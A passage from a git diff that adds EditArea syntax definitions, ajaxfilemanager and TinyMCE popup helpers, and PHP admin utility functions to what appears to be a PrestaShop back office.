'bsddb', 'bz2', 'calendar', 'cd', 'cgi', + 'CGIHTTPServer', 'cgitb', 'chunk', 'cmath', 'cmd', 'code', 'codecs', 'codeop', + 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'compiler', + 'ConfigParser', 'Cookie', 'cookielib', 'copy', 'copy_reg', 'cPickle', 'crypt', + 'cStringIO', 'csv', 'curses', 'datetime', 'dbhash', 'dbm', 'decimal', 'DEVICE', + 'difflib', 'dircache', 'dis', 'distutils', 'dl', 'doctest', 'DocXMLRPCServer', 'dumbdbm', + 'dummy_thread', 'dummy_threading', 'email', 'encodings', 'errno', 'exceptions', 'fcntl', + 'filecmp', 'fileinput', 'FL', 'fl', 'flp', 'fm', 'fnmatch', 'formatter', 'fpectl', + 'fpformat', 'ftplib', 'gc', 'gdbm', 'getopt', 'getpass', 'gettext', 'GL', 'gl', 'glob', + 'gopherlib', 'grp', 'gzip', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', + 'HTMLParser', 'httplib', 'imageop', 'imaplib', 'imgfile', 'imghdr', 'imp', 'inspect', + 'itertools', 'jpeg', 'keyword', 'linecache', 'locale', 'logging', 'mailbox', 'mailcap', + 'marshal', 'math', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', + 'mmap', 'msvcrt', 'multifile', 'mutex', 'netrc', 'new', 'nis', 'nntplib', 'operator', + 'optparse', 'os', 'ossaudiodev', 'parser', 'pdb', 'pickle', 'pickletools', 'pipes', + 'pkgutil', 'platform', 'popen2', 'poplib', 'posix', 'posixfile', 'pprint', 'profile', + 'pstats', 'pty', 'pwd', 'py_compile', 'pyclbr', 'pydoc', 'Queue', 'quopri', 'random', + 're', 'readline', 'repr', 'resource', 'rexec', 'rfc822', 'rgbimg', 'rlcompleter', + 'robotparser', 'sched', 'ScrolledText', 'select', 'sets', 'sgmllib', 'sha', 'shelve', + 'shlex', 'shutil', 'signal', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'site', 'smtpd', + 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'stat', 'statcache', 'statvfs', 'string', + 'StringIO', 'stringprep', 'struct', 'subprocess', 'sunau', 'SUNAUDIODEV', 'sunaudiodev', + 'symbol', 'sys', 'syslog', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'termios', + 'test', 'textwrap', 'thread', 'threading', 'time', 'timeit', 'Tix', 'Tkinter', 'token', + 'tokenize', 'traceback', 'tty', 'turtle', 'types', 'unicodedata', 'unittest', 'urllib2', + 'urllib', 'urlparse', 'user', 'UserDict', 'UserList', 'UserString', 'uu', 'warnings', + 'wave', 'weakref', 'webbrowser', 'whichdb', 'whrandom', 'winsound', 'xdrlib', 'xml', + 'xmllib', 'xmlrpclib', 'zipfile', 'zipimport', 'zlib' + + ] + /* + ** Set 4: special methods + ** http://python.org/doc/current/ref/specialnames.html + */ + ,'special' : [ + // Basic customization: http://python.org/doc/current/ref/customization.html + '__new__', '__init__', '__del__', '__repr__', '__str__', + '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__cmp__', '__rcmp__', + '__hash__', '__nonzero__', '__unicode__', '__dict__', + // Attribute access: http://python.org/doc/current/ref/attribute-access.html + '__setattr__', '__delattr__', '__getattr__', '__getattribute__', '__get__', '__set__', + '__delete__', '__slots__', + // Class creation, callable objects + '__metaclass__', '__call__', + // Container types: http://python.org/doc/current/ref/sequence-types.html + '__len__', '__getitem__', '__setitem__', '__delitem__', '__iter__', '__contains__', + '__getslice__', '__setslice__', '__delslice__', + // Numeric types: http://python.org/doc/current/ref/numeric-types.html + '__abs__','__add__','__and__','__coerce__','__div__','__divmod__','__float__', + '__hex__','__iadd__','__isub__','__imod__','__idiv__','__ipow__','__iand__', + '__ior__','__ixor__', '__ilshift__','__irshift__','__invert__','__int__', + '__long__','__lshift__', + '__mod__','__mul__','__neg__','__oct__','__or__','__pos__','__pow__', + '__radd__','__rdiv__','__rdivmod__','__rmod__','__rpow__','__rlshift__','__rrshift__', + '__rshift__','__rsub__','__rmul__','__repr__','__rand__','__rxor__','__ror__', + '__sub__','__xor__' + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '%', '!', '&', ';', '?', '`', ':', ',' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #660066;' + ,'KEYWORDS' : { + 'reserved' : 'color: #0000FF;' + ,'builtins' : 'color: #009900;' + ,'stdlib' : 'color: #009900;' + ,'special': 'color: #006666;' + } + ,'OPERATORS' : 'color: #993300;' + ,'DELIMITERS' : 'color: #993300;' + + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/vb.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/vb.js new file mode 100755 index 0000000..18cc87c --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/vb.js @@ -0,0 +1,52 @@ +editAreaLoader.load_syntax["vb"] = { + 'COMMENT_SINGLE' : {1 : "'"} + ,'COMMENT_MULTI' : { } + ,'QUOTEMARKS' : {1: '"'} + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + 'statements' : [ + 'if','then','for','each','while','do','loop', + 'else','elseif','select','case','end select', + 'until','next','step','to','in','end if' + ] + ,'keywords' : [ + 'empty','isempty','nothing','null','isnull','true','false', + 'set','call', + 'sub','end sub','function','end function','exit','exit function', + 'dim','Mod','In','private','public','shared','const' + ] + + ,'functions' : [ + 'CDate','Date','DateAdd','DateDiff','DatePart','DateSerial','DateValue','Day','FormatDateTime', + 'Hour','IsDate','Minute','Month', + 'MonthName','Now','Second','Time','Timer','TimeSerial','TimeValue','Weekday','WeekdayName ','Year', + 'Asc','CBool','CByte','CCur','CDate','CDbl','Chr','CInt','CLng','CSng','CStr','Hex','Oct','FormatCurrency', + 'FormatDateTime','FormatNumber','FormatPercent','Abs','Atn','Cos','Exp','Hex','Int','Fix','Log','Oct', + 'Rnd','Sgn','Sin','Sqr','Tan', + 'Array','Filter','IsArray','Join','LBound','Split','UBound', + 'InStr','InStrRev','LCase','Left','Len','LTrim','RTrim','Trim','Mid','Replace','Right','Space','StrComp', + 'String','StrReverse','UCase', + 'CreateObject','Eval','GetLocale','GetObject','GetRef','InputBox','IsEmpty','IsNull','IsNumeric', + 'IsObject','LoadPicture','MsgBox','RGB','Round','ScriptEngine','ScriptEngineBuildVersion','ScriptEngineMajorVersion', + 'ScriptEngineMinorVersion','SetLocale','TypeName','VarType' + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '!', '&' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'STYLES' : { + 'COMMENTS': 'color: #99CC00;' + ,'QUOTESMARKS': 'color: #333399;' + ,'KEYWORDS' : { + 'keywords' : 'color: #3366FF;' + ,'functions' : 'color: #0000FF;' + ,'statements' : 'color: #3366FF;' + } + ,'OPERATORS' : 'color: #FF0000;' + ,'DELIMITERS' : 'color: #0000FF;' + + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/xml.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/xml.js new file mode 100755 index 0000000..a043dd6 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/xml.js @@ -0,0 +1,56 @@ +/* +* last update: 2006-08-24 +*/ + +editAreaLoader.load_syntax["xml"] = { + 'COMMENT_SINGLE' : {} + ,'COMMENT_MULTI' : {''} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + } + ,'OPERATORS' :[ + ] + ,'DELIMITERS' :[ + ] + ,'REGEXPS' : { + 'xml' : { + 'search' : '()(<\\?[^>]*?\\?>)()' + ,'class' : 'xml' + ,'modifiers' : 'g' + ,'execute' : 'before' // before or after + } + ,'cdatas' : { + 'search' : '()()()' + ,'class' : 'cdata' + ,'modifiers' : 'g' + ,'execute' : 'before' // before or after + } + ,'tags' : { + 'search' : '(<)(/?[a-z][^ \r\n\t>]*)([^>]*>)' + ,'class' : 'tags' + ,'modifiers' : 'gi' + ,'execute' : 'before' // before or after + } + ,'attributes' : { + 'search' : '( |\n|\r|\t)([^ \r\n\t=]+)(=)' + ,'class' : 'attributes' + ,'modifiers' : 'g' + ,'execute' : 'before' // before or after + } + } + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + } + ,'OPERATORS' : 'color: #E775F0;' + ,'DELIMITERS' : '' + ,'REGEXPS' : { + 'attributes': 'color: #B1AC41;' + ,'tags': 'color: #E62253;' + ,'xml': 'color: #8DCFB5;' + ,'cdata': 'color: #50B020;' + } + } +}; diff --git a/BO/ajaxfilemanager/jscripts/for_fckeditor.js b/BO/ajaxfilemanager/jscripts/for_fckeditor.js new file mode 100755 index 0000000..7cc7788 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/for_fckeditor.js @@ -0,0 +1,27 @@ +//function below added by logan (cailongqun [at] yahoo [dot] com [dot] cn) from www.phpletter.com +function selectFile() +{ + var selectedFileRowNum = $('#selectedFileRowNum').val(); + if(selectedFileRowNum != '' && $('#row' + selectedFileRowNum)) + { + + // insert information now + var url = $('#fileUrl'+selectedFileRowNum).val(); + window.opener.SetUrl( url ) ; + window.close() ; + + }else + { + alert(noFileSelected); + } + + +} + + + +function cancelSelectFile() +{ + // close popup window + window.close() ; +} \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/for_form.js b/BO/ajaxfilemanager/jscripts/for_form.js new file mode 100755 index 0000000..8ac37e1 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/for_form.js @@ -0,0 +1,16 @@ +function selectFile(url) +{ + window.opener.document.getElementById(elementId).value = url; + window.close() ; + + +} + + + +function cancelSelectFile() +{ + // close popup window + window.close() ; +} + diff --git a/BO/ajaxfilemanager/jscripts/for_stand_alone.js b/BO/ajaxfilemanager/jscripts/for_stand_alone.js new file mode 100755 index 0000000..16b2dc8 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/for_stand_alone.js @@ -0,0 +1,5 @@ +function cancelSelectFile() +{ + // close popup window + window.close(); +} \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/for_tinymce.js b/BO/ajaxfilemanager/jscripts/for_tinymce.js new file mode 100755 index 0000000..bc8cfa6 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/for_tinymce.js @@ -0,0 +1,248 @@ +// Some global instances +var tinymce = null, tinyMCEPopup, tinyMCE; + +tinyMCEPopup = { + init : function() { + var t = this, w = t.getWin(), ti; + + // Find API + tinymce = w.tinymce; + tinyMCE = w.tinyMCE; + t.editor = tinymce.EditorManager.activeEditor; + t.params = t.editor.windowManager.params; + + // Setup local DOM + t.dom = t.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document); + t.dom.loadCSS(t.editor.settings.popup_css); + + // Setup on init listeners + t.listeners = []; + t.onInit = { + add : function(f, s) { + t.listeners.push({func : f, scope : s}); + } + }; + + t.isWindow = !t.getWindowArg('mce_inline'); + t.id = t.getWindowArg('mce_window_id'); + t.editor.windowManager.onOpen.dispatch(t.editor.windowManager, window); + }, + + getWin : function() { + return window.dialogArguments || opener || parent || top; + }, + + getWindowArg : function(n, dv) { + var v = this.params[n]; + + return tinymce.is(v) ? v : dv; + }, + + getParam : function(n, dv) { + return this.editor.getParam(n, dv); + }, + + getLang : function(n, dv) { + return this.editor.getLang(n, dv); + }, + + execCommand : function(cmd, ui, val) { + this.restoreSelection(); + return this.editor.execCommand(cmd, ui, val); + }, + + resizeToInnerSize : function() { + var t = this, n, b = document.body, vp = t.dom.getViewPort(window), dw, dh; + + dw = t.getWindowArg('mce_width') - vp.w; + dh = t.getWindowArg('mce_height') - vp.h; + + if (t.isWindow) + window.resizeBy(dw, dh); + else + t.editor.windowManager.resizeBy(dw, dh, t.id); + }, + + executeOnLoad : function(s) { + this.onInit.add(function() { + eval(s); + }); + }, + + storeSelection : function() { + this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark('simple'); + }, + + restoreSelection : function() { + var t = tinyMCEPopup; + + if (!t.isWindow && tinymce.isIE) + t.editor.selection.moveToBookmark(t.editor.windowManager.bookmark); + }, + + requireLangPack : function() { + var u = this.getWindowArg('plugin_url') || this.getWindowArg('theme_url'); + + if (u) + document.write(''); + }, + + pickColor : function(e, element_id) { + this.execCommand('mceColorPicker', true, { + color : document.getElementById(element_id).value, + func : function(c) { + document.getElementById(element_id).value = c; + + if (tinymce.is(document.getElementById(element_id).onchange, 'function')) + document.getElementById(element_id).onchange(); + } + }); + }, + + openBrowser : function(element_id, type, option) { + tinyMCEPopup.restoreSelection(); + this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window); + }, + + close : function() { + var t = this; + + t.dom = t.dom.doc = null; // Cleanup + t.editor.windowManager.close(window, t.id); + }, + + // Internal functions + + _restoreSelection : function() { + var e = window.event.srcElement; + + if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) + tinyMCEPopup.restoreSelection(); + }, + +/* _restoreSelection : function() { + var e = window.event.srcElement; + + // If user focus a non text input or textarea + if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text') + tinyMCEPopup.restoreSelection(); + },*/ + + _onDOMLoaded : function() { + var t = this, ti = document.title, bm, h; + + // Translate page + h = document.body.innerHTML; + + // Replace a=x with a="x" in IE + if (tinymce.isIE) + h = h.replace(/ (value|title|alt)=([^\s>]+)/gi, ' $1="$2"'); + + document.body.innerHTML = t.editor.translate(h); + document.title = ti = t.editor.translate(ti); + document.body.style.display = ''; + + // Restore selection in IE when focus is placed on a non textarea or input element of the type text + if (tinymce.isIE) + document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection); + + t.restoreSelection(); + + // Call onInit + tinymce.each(t.listeners, function(o) { + o.func.call(o.scope, t.editor); + }); + + t.resizeToInnerSize(); + + if (t.isWindow) + window.focus(); + else + t.editor.windowManager.setTitle(ti, t.id); + + if (!tinymce.isIE && !t.isWindow) { + tinymce.dom.Event._add(document, 'focus', function() { + t.editor.windowManager.focus(t.id) + }); + } + + // Patch for accessibility + tinymce.each(t.dom.select('select'), function(e) { + e.onkeydown = tinyMCEPopup._accessHandler; + }); + + // Move focus to window + window.focus(); + }, + + _accessHandler : function(e) { + var e = e || window.event; + + if (e.keyCode == 13 || e.keyCode == 32) { + e = e.target || e.srcElement; + + if (e.onchange) + e.onchange(); + + return tinymce.dom.Event.cancel(e); + } + }, + + _wait : function() { + var t = this, ti; + + if (tinymce.isIE && document.location.protocol != 'https:') { + // Fake DOMContentLoaded on IE + document.write(''; + echo ''; + echo ''; + $iso = Db::getInstance()->getValue('SELECT iso_code FROM '._DB_PREFIX_.'lang WHERE `id_lang` = '.(int)Context::getContext()->language->id); + if ($iso != 'en') + echo ''; + echo ''; +} + +/** + * Generate a new settings file, only transmitted parameters are updated + * + * @param string $baseUri Base URI + * @param string $theme Theme name (eg. default) + * @param array $arrayDB Parameters in order to connect to database + */ +function rewriteSettingsFile($baseUrls = NULL, $theme = NULL, $arrayDB = NULL) +{ + $defines = array(); + $defines['_MEDIA_SERVER_1_'] = ($baseUrls AND isset($baseUrls['_MEDIA_SERVER_1_'])) ? $baseUrls['_MEDIA_SERVER_1_'] : _MEDIA_SERVER_1_; + $defines['_MEDIA_SERVER_2_'] = ($baseUrls AND isset($baseUrls['_MEDIA_SERVER_2_'])) ? $baseUrls['_MEDIA_SERVER_2_'] : _MEDIA_SERVER_2_; + $defines['_MEDIA_SERVER_3_'] = ($baseUrls AND isset($baseUrls['_MEDIA_SERVER_3_'])) ? $baseUrls['_MEDIA_SERVER_3_'] : _MEDIA_SERVER_3_; + $defines['_PS_CACHING_SYSTEM_'] = _PS_CACHING_SYSTEM_; + $defines['_PS_CACHE_ENABLED_'] = _PS_CACHE_ENABLED_; + $defines['_DB_NAME_'] = (($arrayDB AND isset($arrayDB['_DB_NAME_'])) ? $arrayDB['_DB_NAME_'] : _DB_NAME_); + $defines['_MYSQL_ENGINE_'] = (($arrayDB AND isset($arrayDB['_MYSQL_ENGINE_'])) ? $arrayDB['_MYSQL_ENGINE_'] : _MYSQL_ENGINE_); + $defines['_DB_SERVER_'] = (($arrayDB AND isset($arrayDB['_DB_SERVER_'])) ? $arrayDB['_DB_SERVER_'] : _DB_SERVER_); + $defines['_DB_USER_'] = (($arrayDB AND isset($arrayDB['_DB_USER_'])) ? $arrayDB['_DB_USER_'] : _DB_USER_); + $defines['_DB_PREFIX_'] = (($arrayDB AND isset($arrayDB['_DB_PREFIX_'])) ? $arrayDB['_DB_PREFIX_'] : _DB_PREFIX_); + $defines['_DB_PASSWD_'] = (($arrayDB AND isset($arrayDB['_DB_PASSWD_'])) ? $arrayDB['_DB_PASSWD_'] : _DB_PASSWD_); + $defines['_COOKIE_KEY_'] = addslashes(_COOKIE_KEY_); + $defines['_COOKIE_IV_'] = addslashes(_COOKIE_IV_); + $defines['_PS_CREATION_DATE_'] = addslashes(_PS_CREATION_DATE_); + + if (defined('_RIJNDAEL_KEY_')) + $defines['_RIJNDAEL_KEY_'] = addslashes(_RIJNDAEL_KEY_); + if (defined('_RIJNDAEL_IV_')) + $defines['_RIJNDAEL_IV_'] = addslashes(_RIJNDAEL_IV_); + $defines['_PS_VERSION_'] = addslashes(_PS_VERSION_); + $content = " $value) + $content .= 'define(\''.$k.'\', \''.addslashes($value).'\');'."\n"; + copy(_PS_ADMIN_DIR_.'/../config/settings.inc.php', _PS_ADMIN_DIR_.'/../config/settings.old.php'); + if ($fd = fopen(_PS_ADMIN_DIR_.'/../config/settings.inc.php', 'w')) + { + fwrite($fd, $content); + fclose($fd); + return true; + } + return false; +} + +/** + * Display SQL date in friendly format + * + * @param string $sqlDate Date in SQL format (YYYY-MM-DD HH:mm:ss) + * @param boolean $withTime Display both date and time + * @todo Several formats (french : DD-MM-YYYY) + */ +function displayDate($sqlDate, $withTime = false) +{ + return strftime('%Y-%m-%d'.($withTime ? ' %H:%M:%S' : ''), strtotime($sqlDate)); +} + +/** + * Return path to a product category + * + * @param string $urlBase Start URL + * @param integer $id_category Start category + * @param string $path Current path + * @param string $highlight String to highlight (in XHTML/CSS) + * @param string $type Category type (products/cms) + */ +function getPath($urlBase, $id_category, $path = '', $highlight = '', $categoryType = 'catalog', $home = false) +{ + $context = Context::getContext(); + if ($categoryType == 'catalog') + { + $category = Db::getInstance()->getRow(' + SELECT id_category, level_depth, nleft, nright + FROM '._DB_PREFIX_.'category + WHERE id_category = '.(int)$id_category); + if (isset($category['id_category'])) + { + $sql = 'SELECT c.id_category, cl.name, cl.link_rewrite + FROM '._DB_PREFIX_.'category c + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = c.id_category'.Shop::addSqlRestrictionOnLang('cl').') + WHERE c.nleft <= '.(int)$category['nleft'].' + AND c.nright >= '.(int)$category['nright'].' + AND cl.id_lang = '.(int)$context->language->id. + ($home ? ' AND c.id_category='.$id_category : '').' + AND c.id_category != '.(int)Category::getTopCategory()->id.' + GROUP BY c.id_category + ORDER BY c.level_depth ASC + LIMIT '.(!$home ? (int)($category['level_depth'] + 1) : 1); + $categories = Db::getInstance()->executeS($sql); + $fullPath = ''; + $n = 1; + $nCategories = (int)sizeof($categories); + foreach ($categories AS $category) + { + $link = Context::getContext()->link->getAdminLink('AdminCategories'); + $edit = ' '; + $fullPath .= $edit. + ($n < $nCategories ? '' : ''). + (!empty($highlight) ? str_ireplace($highlight, ''.htmlentities($highlight, ENT_NOQUOTES, 'UTF-8').'', $category['name']) : $category['name']). + ($n < $nCategories ? '' : ''). + (($n++ != $nCategories OR !empty($path)) ? ' > ' : ''); + } + + return $fullPath.$path; + } + } + elseif ($categoryType == 'cms') + { + $category = new CMSCategory($id_category, $context->language->id); + if (!$category->id) + return $path; + + $name = ($highlight != NULL) ? str_ireplace($highlight, ''.$highlight.'', CMSCategory::hideCMSCategoryPosition($category->name)) : CMSCategory::hideCMSCategoryPosition($category->name); + $edit = ' + Modify '; + if ($category->id == 1) + $edit = ' + Home '; + $path = $edit.' + '.$name.' > '.$path; + if ($category->id == 1) + return substr($path, 0, strlen($path) - 3); + return getPath($urlBase, $category->id_parent, $path, '', 'cms'); + } +} + +function getDirContent($path) +{ + $content = array(); + if (is_dir($path)) + { + $d = dir($path); + while (false !== ($entry = $d->read())) + if ($entry{0} != '.') + $content[] = $entry; + $d->close(); + } + return $content; +} + +function createDir($path, $rights) +{ + if (file_exists($path)) + return true; + return @mkdir($path, $rights); +} + +function checkPSVersion() +{ + $upgrader = new Upgrader(); + + return $upgrader->checkPSVersion(); +} + +function translate($string) +{ + global $_LANGADM; + if (!is_array($_LANGADM)) + return str_replace('"', '"', $string); + $key = md5(str_replace('\'', '\\\'', $string)); + $str = (key_exists('index'.$key, $_LANGADM)) ? $_LANGADM['index'.$key] : ((key_exists('index'.$key, $_LANGADM)) ? $_LANGADM['index'.$key] : $string); + return str_replace('"', '"', stripslashes($str)); +} + + +/** + * Returns a new Tab object + * + * @param string $tab class name + * @return mixed(AdminTab, bool) tab object or false if failed + */ +function checkingTab($tab) +{ + $tab = trim($tab); + + $tab_lowercase = strtolower($tab); + if (!Validate::isTabName($tab)) + return false; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow('SELECT id_tab, module, class_name FROM `'._DB_PREFIX_.'tab` WHERE class_name = \''.pSQL($tab).'\''); + if (!$row['id_tab']) + { + if (isset(AdminTab::$tabParenting[$tab])) + Tools::redirectAdmin('?tab='.AdminTab::$tabParenting[$tab].'&token='.Tools::getAdminTokenLite(AdminTab::$tabParenting[$tab])); + echo sprintf(Tools::displayError('Page %s cannot be found..'),$tab); + return false; + } + + // Class file is included in Dispatcher::dispatch() function + if (!class_exists($tab, false) OR !$row['id_tab']) + { + echo sprintf(Tools::displayError('The class %s cannot be found.'),$tab); + return false; + } + $adminObj = new $tab; + if (!$adminObj->viewAccess() AND ($adminObj->table != 'employee' OR Context::getContext()->employee->id != Tools::getValue('id_employee') OR !Tools::isSubmit('updateemployee'))) + { + $adminObj->_errors = array(Tools::displayError('Access denied.')); + echo $adminObj->displayErrors(); + return false; + } + return $adminObj; +} + +/** + * @TODO deprecate for Tab::checkTabRights() + */ +function checkTabRights($id_tab) +{ + static $tabAccesses = NULL; + + if ($tabAccesses === NULL) + $tabAccesses = Profile::getProfileAccesses(Context::getContext()->employee->id_profile); + + if (isset($tabAccesses[(int)($id_tab)]['view'])) + return ($tabAccesses[(int)($id_tab)]['view'] === '1'); + return false; +} + + +/** + * Converts a simpleXML element into an array. Preserves attributes and everything. + * You can choose to get your elements either flattened, or stored in a custom index that + * you define. + * For example, for a given element + * + * if you choose to flatten attributes, you would get: + * $array['field']['name'] = 'someName'; + * $array['field']['type'] = 'someType'; + * If you choose not to flatten, you get: + * $array['field']['@attributes']['name'] = 'someName'; + * _____________________________________ + * Repeating fields are stored in indexed arrays. so for a markup such as: + * + * a + * b + * c + * + * you array would be: + * $array['parent']['child'][0] = 'a'; + * $array['parent']['child'][1] = 'b'; + * ...And so on. + * _____________________________________ + * @param simpleXMLElement $xml the XML to convert + * @param boolean $flattenValues Choose wether to flatten values + * or to set them under a particular index. + * defaults to true; + * @param boolean $flattenAttributes Choose wether to flatten attributes + * or to set them under a particular index. + * Defaults to true; + * @param boolean $flattenChildren Choose wether to flatten children + * or to set them under a particular index. + * Defaults to true; + * @param string $valueKey index for values, in case $flattenValues was set to + * false. Defaults to "@value" + * @param string $attributesKey index for attributes, in case $flattenAttributes was set to + * false. Defaults to "@attributes" + * @param string $childrenKey index for children, in case $flattenChildren was set to + * false. Defaults to "@children" + * @return array the resulting array. + */ +function simpleXMLToArray ($xml, $flattenValues = true, $flattenAttributes = true, $flattenChildren = true, $valueKey = '@value', $attributesKey = '@attributes', $childrenKey = '@children') +{ + $return = array(); + if (!($xml instanceof SimpleXMLElement)) + return $return; + + $name = $xml->getName(); + $_value = trim((string)$xml); + if (strlen($_value) == 0) + $_value = null; + + if ($_value !== null) + { + if (!$flattenValues) + $return[$valueKey] = $_value; + else + $return = $_value; + } + + $children = array(); + $first = true; + foreach($xml->children() as $elementName => $child) + { + $value = simpleXMLToArray($child, $flattenValues, $flattenAttributes, $flattenChildren, $valueKey, $attributesKey, $childrenKey); + if (isset($children[$elementName])) + { + if ($first) + { + $temp = $children[$elementName]; + unset($children[$elementName]); + $children[$elementName][] = $temp; + $first=false; + } + $children[$elementName][] = $value; + } + else + $children[$elementName] = $value; + } + + if (count($children) > 0 ) + { + if (!$flattenChildren) + $return[$childrenKey] = $children; + else + $return = array_merge($return, $children); + } + + $attributes = array(); + foreach($xml->attributes() as $name => $value) + $attributes[$name] = trim($value); + + if (count($attributes) > 0) + { + if (!$flattenAttributes) + $return[$attributesKey] = $attributes; + else + $return = array_merge($return, $attributes); + } + + return $return; +} + +/** + * for retrocompatibility with old AdminTab, old index.php + * + * @return void + */ +function runAdminTab($tab, $ajaxMode = false) +{ + $ajaxMode = (bool)$ajaxMode; + + require_once(_PS_ADMIN_DIR_.'/init.php'); + $cookie = Context::getContext()->cookie; + if (empty($tab) and !sizeof($_POST)) + { + $tab = 'AdminHome'; + $_POST['tab'] = 'AdminHome'; + $_POST['token'] = Tools::getAdminTokenLite($tab); + } + // $tab = $_REQUEST['tab']; + if ($adminObj = checkingTab($tab)) + { + Context::getContext()->controller = $adminObj; + // init is different for new tabs (AdminController) and old tabs (AdminTab) + if ($adminObj instanceof AdminController) + { + if($ajaxMode) + $adminObj->ajax = true; + $adminObj->path = dirname($_SERVER["PHP_SELF"]); + $adminObj->run(); + } + else + { + if (!$ajaxMode) + require_once(_PS_ADMIN_DIR_.'/header.inc.php'); + $isoUser = Context::getContext()->language->id; + $tabs = array(); + $tabs = Tab::recursiveTab($adminObj->id, $tabs); + $tabs = array_reverse($tabs); + $bread = ''; + foreach ($tabs AS $key => $item) + { + $bread .= ' >'; + if (count($tabs) - 1 > $key) + $bread .= ''; + + $bread .= $item['name']; + if (count($tabs) - 1 > $key) + $bread .= ''; + } + + // @TODO : a way to desactivate this feature + if (!$ajaxMode) + echo''; + + if (!$ajaxMode) + echo '
+ + '.translate('Back Office').' + '.$bread.'
'; + + if (!$ajaxMode && Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && Context::getContext()->controller->multishop_context != Shop::CONTEXT_ALL) + { + echo '
'; + if (Shop::getContext() == Shop::CONTEXT_GROUP) + { + $shop_group = new ShopGroup((int)Shop::getContextShopGroupID()); + printf(translate('You are configuring your store for group shop %s'), ''.$shop_group->name.''); + } + elseif (Shop::getContext() == Shop::CONTEXT_SHOP) + printf(translate('You are configuring your store for shop %s'), ''.Context::getContext()->shop->name.''); + echo '
'; + } + if (Validate::isLoadedObject($adminObj)) + { + if ($adminObj->checkToken()) + { + if($ajaxMode) + { + // the differences with index.php is here + $adminObj->ajaxPreProcess(); + $action = Tools::getValue('action'); + // no need to use displayConf() here + + if (!empty($action) AND method_exists($adminObj, 'ajaxProcess'.Tools::toCamelCase($action)) ) + $adminObj->{'ajaxProcess'.Tools::toCamelCase($action)}(); + else + $adminObj->ajaxProcess(); + + // @TODO We should use a displayAjaxError + $adminObj->displayErrors(); + if (!empty($action) AND method_exists($adminObj, 'displayAjax'.Tools::toCamelCase($action)) ) + $adminObj->{'displayAjax'.$action}(); + else + $adminObj->displayAjax(); + + + } + else + { + /* Filter memorization */ + if (isset($_POST) AND !empty($_POST) AND isset($adminObj->table)) + foreach ($_POST AS $key => $value) + if (is_array($adminObj->table)) + { + foreach ($adminObj->table AS $table) + if (strncmp($key, $table.'Filter_', 7) === 0 OR strncmp($key, 'submitFilter', 12) === 0) + $cookie->$key = !is_array($value) ? $value : serialize($value); + } + elseif (strncmp($key, $adminObj->table.'Filter_', 7) === 0 OR strncmp($key, 'submitFilter', 12) === 0) + $cookie->$key = !is_array($value) ? $value : serialize($value); + + if (isset($_GET) AND !empty($_GET) AND isset($adminObj->table)) + foreach ($_GET AS $key => $value) + if (is_array($adminObj->table)) + { + foreach ($adminObj->table AS $table) + if (strncmp($key, $table.'OrderBy', 7) === 0 OR strncmp($key, $table.'Orderway', 8) === 0) + $cookie->$key = $value; + } + elseif (strncmp($key, $adminObj->table.'OrderBy', 7) === 0 OR strncmp($key, $adminObj->table.'Orderway', 12) === 0) + $cookie->$key = $value; + $adminObj->displayConf(); + $adminObj->postProcess(); + $adminObj->displayErrors(); + $adminObj->display(); + include(_PS_ADMIN_DIR_.'/footer.inc.php'); + } + } + else + { + if($ajaxMode) + { + // If this is an XSS attempt, then we should only display a simple, secure page + ob_clean(); + + // ${1} in the replacement string of the regexp is required, because the token may begin with a number and mix up with it (e.g. $17) + $url = preg_replace('/([&?]token=)[^&]*(&.*)?$/', '${1}'.$adminObj->token.'$2', $_SERVER['REQUEST_URI']); + if (false === strpos($url, '?token=') AND false === strpos($url, '&token=')) + $url .= '&token='.$adminObj->token; + + + // we can display the correct url + // die(Tools::jsonEncode(array(translate('Invalid security token'),$url))); + die(Tools::jsonEncode(translate('Invalid security token'))); + } + else + { + // If this is an XSS attempt, then we should only display a simple, secure page + ob_clean(); + + // ${1} in the replacement string of the regexp is required, because the token may begin with a number and mix up with it (e.g. $17) + $url = preg_replace('/([&?]token=)[^&]*(&.*)?$/', '${1}'.$adminObj->token.'$2', $_SERVER['REQUEST_URI']); + if (false === strpos($url, '?token=') AND false === 